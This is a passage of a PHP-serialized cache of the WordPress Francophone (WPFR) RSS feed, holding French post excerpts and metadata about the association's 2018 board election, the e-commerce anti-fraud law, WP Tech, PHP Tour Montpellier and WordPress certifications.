+0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:2:{i:0;a:5:{s:4:\&quot;data\&quot;;s:16:\&quot;Association WPFR\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:4:\&quot;Blog\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:27:\&quot;https://wpfr.net/?p=2107099\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1521:\&quot;Suite à la votation électronique qui s&amp;#8217;est déroulée du 24 février au 3 mars 2018, nous vous communiquons les résultats pour l&amp;#8217;élection du bureau 2018. Vous avez été 40% des adhérents à participer au vote, soit 85 suffrages exprimés. C&amp;#8217;est pratiquement autant de votants que l&amp;#8217;an passé avec un nombre d&amp;#8217;adhérents moins élevé, l&amp;#8217;abstention reste&lt;div class=\&quot;btn btn-default read-more text-uppercase\&quot;&gt;Lire la suite &lt;span class=\&quot;meta-nav\&quot;&gt;&lt;i class=\&quot;fa fa-caret-right\&quot;&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=qvTDw6NqY5Q:LD0dZBWRJa4:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=qvTDw6NqY5Q:LD0dZBWRJa4:V_sGLiPBpWU\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?i=qvTDw6NqY5Q:LD0dZBWRJa4:V_sGLiPBpWU\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=qvTDw6NqY5Q:LD0dZBWRJa4:qj6IDK7rITs\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=qj6IDK7rITs\&quot; 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Nous vous communiquons dès à présent la liste des candidats validée par l&amp;#8217;actuel bureau, classés par ordre alphabétique. Les candidats Willy Bahuaud Présentation Je suis développeur full-stack. Après quelques années passées en agence à Nantes, j’ai&lt;div class=\&quot;btn btn-default read-more text-uppercase\&quot;&gt;Lire la suite &lt;span class=\&quot;meta-nav\&quot;&gt;&lt;i class=\&quot;fa fa-caret-right\&quot;&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=mYCnwrPtTAY:g4F7i0PDxEQ:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=mYCnwrPtTAY:g4F7i0PDxEQ:V_sGLiPBpWU\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?i=mYCnwrPtTAY:g4F7i0PDxEQ:V_sGLiPBpWU\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=mYCnwrPtTAY:g4F7i0PDxEQ:qj6IDK7rITs\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=qj6IDK7rITs\&quot; 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Le WP Tech est une journée de conférences et d’ateliers exclusivement consacrée aux aspects techniques de WordPress. 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anti-fraude et l’e-commerce : les informations officielles\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:67:\&quot;http://feedproxy.google.com/~r/WordpressFrancophone/~3/KBb85wMEo0g/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:86:\&quot;https://wpfr.net/loi-anti-fraude-et-le-commerce-les-informations-officielles/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 31 Jan 2018 14:51:34 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:4:{i:0;a:5:{s:4:\&quot;data\&quot;;s:10:\&quot;Extensions\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:21:\&quot;WordPress Francophone\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:2;a:5:{s:4:\&quot;data\&quot;;s:15:\&quot;Loi anti-fraude\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:3;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;WooCommerce\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:27:\&quot;https://wpfr.net/?p=2072415\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1503:\&quot;Cette nouvelle loi a fait couler pas mal d&amp;#8217;encre ces derniers temps et afin d&amp;#8217;apporter des réponses concrètes et officielles, nous nous sommes penchés sur le sujet en profondeur. Voici donc ce qu&amp;#8217;il en ressort officiellement : Les plateformes e-commerce open source sont bien concernées par la loi anti-fraude Que ce soit WooCommerce, Magento, Prestashop,&lt;div class=\&quot;btn btn-default read-more text-uppercase\&quot;&gt;Lire la suite &lt;span class=\&quot;meta-nav\&quot;&gt;&lt;i class=\&quot;fa fa-caret-right\&quot;&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=KBb85wMEo0g:NZq1YCx1Y5E:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=KBb85wMEo0g:NZq1YCx1Y5E:V_sGLiPBpWU\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?i=KBb85wMEo0g:NZq1YCx1Y5E:V_sGLiPBpWU\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=KBb85wMEo0g:NZq1YCx1Y5E:qj6IDK7rITs\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=qj6IDK7rITs\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=KBb85wMEo0g:NZq1YCx1Y5E:gIN9vFwOqvQ\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?i=KBb85wMEo0g:NZq1YCx1Y5E:gIN9vFwOqvQ\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressFrancophone/~4/KBb85wMEo0g\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;maximebj\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:82:\&quot;https://wpfr.net/loi-anti-fraude-et-le-commerce-les-informations-officielles/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2:\&quot;39\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:42:\&quot;http://rssnamespace.org/feedburner/ext/1.0\&quot;;a:1:{s:8:\&quot;origLink\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:77:\&quot;https://wpfr.net/loi-anti-fraude-et-le-commerce-les-informations-officielles/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:7;a:6:{s:4:\&quot;data\&quot;;s:39:\&quot;\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n		\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:5:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;L’élection du bureau WPFR 2018\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:67:\&quot;http://feedproxy.google.com/~r/WordpressFrancophone/~3/BC2q8usn6uA/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:52:\&quot;https://wpfr.net/election-bureau-wpfr-2018/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 15 Jan 2018 11:30:54 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:2:{i:0;a:5:{s:4:\&quot;data\&quot;;s:16:\&quot;Association WPFR\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:4:\&quot;Blog\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:27:\&quot;https://wpfr.net/?p=2041252\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1530:\&quot;Comme annoncé lors de l’assemblée générale du 12 décembre 2017, l&amp;#8217;heure des élections a sonné. Le bureau actuellement en place voit son mandat terminé, de nouvelles élections doivent donc avoir lieu afin de le renouveler  Ces élections sont prévues pour le 26 février 2018 et nous invitons les membres l&amp;#8217;association désireux d&amp;#8217;occuper des responsabilités nationales à&lt;div class=\&quot;btn btn-default read-more text-uppercase\&quot;&gt;Lire la suite &lt;span class=\&quot;meta-nav\&quot;&gt;&lt;i class=\&quot;fa fa-caret-right\&quot;&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=BC2q8usn6uA:rovaWM-7xzU:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=BC2q8usn6uA:rovaWM-7xzU:V_sGLiPBpWU\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?i=BC2q8usn6uA:rovaWM-7xzU:V_sGLiPBpWU\&quot; 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Cet évènement porté par l&amp;#8217;AFUP (Association Française des Utilisateurs de PHP) rassemble une sélection d&amp;#8217;orateurs reconnus du monde PHP. Et comme vous le savez, WordPress repose en grande partie sur le langage PHP. Si vous êtes développeurs,&lt;div class=\&quot;btn btn-default read-more text-uppercase\&quot;&gt;Lire la suite &lt;span class=\&quot;meta-nav\&quot;&gt;&lt;i class=\&quot;fa fa-caret-right\&quot;&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=i_ty7z2Kg6A:5FE8vgrgZLs:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=i_ty7z2Kg6A:5FE8vgrgZLs:V_sGLiPBpWU\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?i=i_ty7z2Kg6A:5FE8vgrgZLs:V_sGLiPBpWU\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=i_ty7z2Kg6A:5FE8vgrgZLs:qj6IDK7rITs\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=qj6IDK7rITs\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=i_ty7z2Kg6A:5FE8vgrgZLs:gIN9vFwOqvQ\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?i=i_ty7z2Kg6A:5FE8vgrgZLs:gIN9vFwOqvQ\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressFrancophone/~4/i_ty7z2Kg6A\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:15:\&quot;Aurélien Denis\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:42:\&quot;http://rssnamespace.org/feedburner/ext/1.0\&quot;;a:1:{s:8:\&quot;origLink\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:59:\&quot;https://wpfr.net/php-tour-montpellier-2018-wpfr-partenaire/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:9;a:6:{s:4:\&quot;data\&quot;;s:39:\&quot;\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n		\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:5:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:41:\&quot;Le point sur les certifications WordPress\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:67:\&quot;http://feedproxy.google.com/~r/WordpressFrancophone/~3/SbTm014V92I/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:57:\&quot;https://wpfr.net/point-certifications-wordpress/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 11 Dec 2017 17:15:46 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:2:{i:0;a:5:{s:4:\&quot;data\&quot;;s:16:\&quot;Association WPFR\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:4:\&quot;Blog\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:27:\&quot;https://wpfr.net/?p=2001761\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1552:\&quot;Le sujet des certifications WordPress est de retour en cette fin d&amp;#8217;année pour faire un point de situation. L&amp;#8217;association s&amp;#8217;est penchée dessus et voici les conclusions actuelles. Pour rappel, j&amp;#8217;avais émis l&amp;#8217;idée en 2016 de faire certifier les formations WordPress. D&amp;#8217;autres idées ont ensuite suivi, dont notamment celle d&amp;#8217;inscrire WordPress au Registre National des Certifications&lt;div class=\&quot;btn btn-default read-more text-uppercase\&quot;&gt;Lire la suite &lt;span class=\&quot;meta-nav\&quot;&gt;&lt;i class=\&quot;fa fa-caret-right\&quot;&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=SbTm014V92I:Cd3SuKi-siI:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=SbTm014V92I:Cd3SuKi-siI:V_sGLiPBpWU\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?i=SbTm014V92I:Cd3SuKi-siI:V_sGLiPBpWU\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=SbTm014V92I:Cd3SuKi-siI:qj6IDK7rITs\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?d=qj6IDK7rITs\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?a=SbTm014V92I:Cd3SuKi-siI:gIN9vFwOqvQ\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/WordpressFrancophone?i=SbTm014V92I:Cd3SuKi-siI:gIN9vFwOqvQ\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressFrancophone/~4/SbTm014V92I\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;maximebj\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:53:\&quot;https://wpfr.net/point-certifications-wordpress/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2:\&quot;11\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:42:\&quot;http://rssnamespace.org/feedburner/ext/1.0\&quot;;a:1:{s:8:\&quot;origLink\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:48:\&quot;https://wpfr.net/point-certifications-wordpress/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}}}s:44:\&quot;http://purl.org/rss/1.0/modules/syndication/\&quot;;a:2:{s:12:\&quot;updatePeriod\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;hourly\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;